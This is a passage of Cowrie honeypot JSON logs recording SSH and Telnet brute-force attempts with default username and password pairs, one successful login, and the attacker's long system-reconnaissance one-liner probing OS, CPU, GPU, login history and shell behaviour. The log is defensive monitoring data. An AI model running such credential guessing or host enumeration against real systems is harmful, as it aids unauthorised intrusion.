0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:53:43.350984Z","src_ip":"160.187.174.22","session":"334381737ca3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plexserver","password":"plexserver","message":"login attempt [plexserver/plexserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:53:44.374878Z","src_ip":"160.187.174.22","session":"334381737ca3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:53:45.617778Z","src_ip":"160.187.174.22","session":"334381737ca3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":54674,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d4e88876b5f","protocol":"ssh","message":"New connection: 160.187.174.22:54674 (159.203.135.109:22) [session: 0d4e88876b5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:10.322769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:10.328022Z","src_ip":"160.187.174.22","session":"0d4e88876b5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:10.568928Z","src_ip":"160.187.174.22","session":"0d4e88876b5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41184,"dst_ip":"159.203.135.109","dst_port":23,"session":"dec3e7f90825","protocol":"telnet","message":"New connection: 170.64.224.25:41184 (159.203.135.109:23) [session: dec3e7f90825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:11.070407Z"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar123","message":"login attempt [sonar/sonar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:11.302055Z","src_ip":"160.187.174.22","session":"0d4e88876b5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:12.546846Z","src_ip":"160.187.174.22","session":"0d4e88876b5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41196,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b7f72c6da4e","protocol":"telnet","message":"New connection: 170.64.224.25:41196 (159.203.135.109:23) [session: 8b7f72c6da4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:13.778440Z"}
{"eventid":"cowrie.session.closed","duration":60.18555784225464,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:28.298763Z","src_ip":"170.64.224.25","session":"da93ee3bb9df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.189.255","src_port":37846,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd9b7642fad1","protocol":"ssh","message":"New connection: 208.109.189.255:37846 (10.17.0.5:22) [session: cd9b7642fad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:28.818801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:28.822644Z","src_ip":"208.109.189.255","session":"cd9b7642fad1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:28.889073Z","src_ip":"208.109.189.255","session":"cd9b7642fad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"St0rj$M@st3r@P@ss","message":"login attempt [root/St0rj$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:29.090964Z","src_ip":"208.109.189.255","session":"cd9b7642fad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:30.172277Z","src_ip":"208.109.189.255","session":"cd9b7642fad1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":37528,"dst_ip":"10.17.0.5","dst_port":22,"session":"0998f6c99cd0","protocol":"ssh","message":"New connection: 193.37.70.224:37528 (10.17.0.5:22) [session: 0998f6c99cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:31.935915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:31.941015Z","src_ip":"193.37.70.224","session":"0998f6c99cd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:32.059616Z","src_ip":"193.37.70.224","session":"0998f6c99cd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"creator","message":"login attempt [root/creator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:32.340221Z","src_ip":"193.37.70.224","session":"0998f6c99cd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:33.436113Z","src_ip":"193.37.70.224","session":"0998f6c99cd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":41100,"dst_ip":"159.203.135.109","dst_port":22,"session":"8341800e512e","protocol":"ssh","message":"New connection: 160.187.174.22:41100 (159.203.135.109:22) [session: 8341800e512e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:37.251491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:37.255719Z","src_ip":"160.187.174.22","session":"8341800e512e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:37.505187Z","src_ip":"160.187.174.22","session":"8341800e512e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:38.256888Z","src_ip":"160.187.174.22","session":"8341800e512e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:39.508117Z","src_ip":"160.187.174.22","session":"8341800e512e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.466938495635986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:41.537229Z","src_ip":"170.64.224.25","session":"dec3e7f90825","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.732911109924316,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:42.511217Z","src_ip":"170.64.224.25","session":"8b7f72c6da4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41578,"dst_ip":"159.203.135.109","dst_port":23,"session":"6be58542922f","protocol":"telnet","message":"New connection: 170.64.224.25:41578 (159.203.135.109:23) [session: 6be58542922f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:54:59.609197Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":34846,"dst_ip":"10.17.0.5","dst_port":22,"session":"605fd5aa200a","protocol":"ssh","message":"New connection: 91.92.40.4:34846 (10.17.0.5:22) [session: 605fd5aa200a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:04.810292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:04.816214Z","src_ip":"91.92.40.4","session":"605fd5aa200a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:04.898104Z","src_ip":"91.92.40.4","session":"605fd5aa200a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:05.164681Z","src_ip":"91.92.40.4","session":"605fd5aa200a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:05.468430Z","src_ip":"91.92.40.4","session":"605fd5aa200a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:05.471842Z","src_ip":"91.92.40.4","session":"605fd5aa200a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:05.475085Z","src_ip":"91.92.40.4","session":"605fd5aa200a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:05.478515Z","src_ip":"91.92.40.4","session":"605fd5aa200a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:05.481737Z","src_ip":"91.92.40.4","session":"605fd5aa200a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:05.485370Z","src_ip":"91.92.40.4","session":"605fd5aa200a","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:05.488124Z","src_ip":"91.92.40.4","session":"605fd5aa200a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:05.490896Z","src_ip":"91.92.40.4","session":"605fd5aa200a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:05.494452Z","src_ip":"91.92.40.4","session":"605fd5aa200a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:05.498177Z","src_ip":"91.92.40.4","session":"605fd5aa200a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:05.502569Z","src_ip":"91.92.40.4","session":"605fd5aa200a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:55:05.594015Z","src_ip":"91.92.40.4","session":"605fd5aa200a","protocol":"ssh"}
